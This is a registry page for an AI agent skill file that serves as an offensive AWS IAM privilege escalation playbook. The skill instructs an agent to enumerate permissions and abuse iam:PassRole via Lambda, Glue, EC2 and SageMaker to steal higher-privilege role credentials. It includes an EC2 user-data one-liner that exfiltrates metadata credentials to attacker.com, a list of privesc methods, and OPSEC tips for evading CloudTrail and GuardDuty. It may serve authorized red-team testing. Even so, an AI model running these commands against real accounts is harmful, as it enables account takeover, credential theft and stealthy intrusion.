CtrlK
BlogDocsLog inGet started
Tessl Logo

aws-iam-passrole-chain

AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

67

Quality

81%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacuenum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

MethodRequired permission
CreateNewPolicyVersioniam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersioniam:SetDefaultPolicyVersion
CreateAccessKeyiam:CreateAccessKey on a higher-priv user
CreateLoginProfileiam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfileiam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicyiam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicyiam:AttachGroupPolicy
AttachRolePolicyiam:AttachRolePolicy
PutUserPolicyiam:PutUserPolicy — inline policy bypass
AddUserToGroupiam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicyiam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambdaiam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpointas above for Glue
EditExistingLambdaFunctionWithRolelambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormationiam:PassRole + cloudformation:CreateStack
PassExistingRoleToNewDataPipelineas above for Data Pipeline
CodeStarCreateProjectFromTemplateexotic — older accounts

OPSEC

  • Every IAM and STS call is in CloudTrail. Volume of assume-role is normal — create-function with a new role is not.
  • GuardDuty has finding types Recon:IAMUser/ResourceConsumption and Privilege Escalation:IAMUser/AnomalousBehavior. Move slowly.
  • For low-noise: use existing Lambda functions (replace their code) rather than creating new ones — UpdateFunctionCode is far more common in normal traffic.
  • Sensitive: GuardDuty flags AwsApiCall: PutEventSelectors / StopLogging on CloudTrail — don't try to silence telemetry.

References

  • Pacu (RhinoSecurityLabs) — automated enum + privesc
  • "AWS IAM Privilege Escalation Methods" — Spencer Gietzen, RhinoSecurityLabs
  • ScoutSuite, Prowler — defender perspective
  • DEFCON 30 "Cloud Village" — recurring AWS IAM track
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.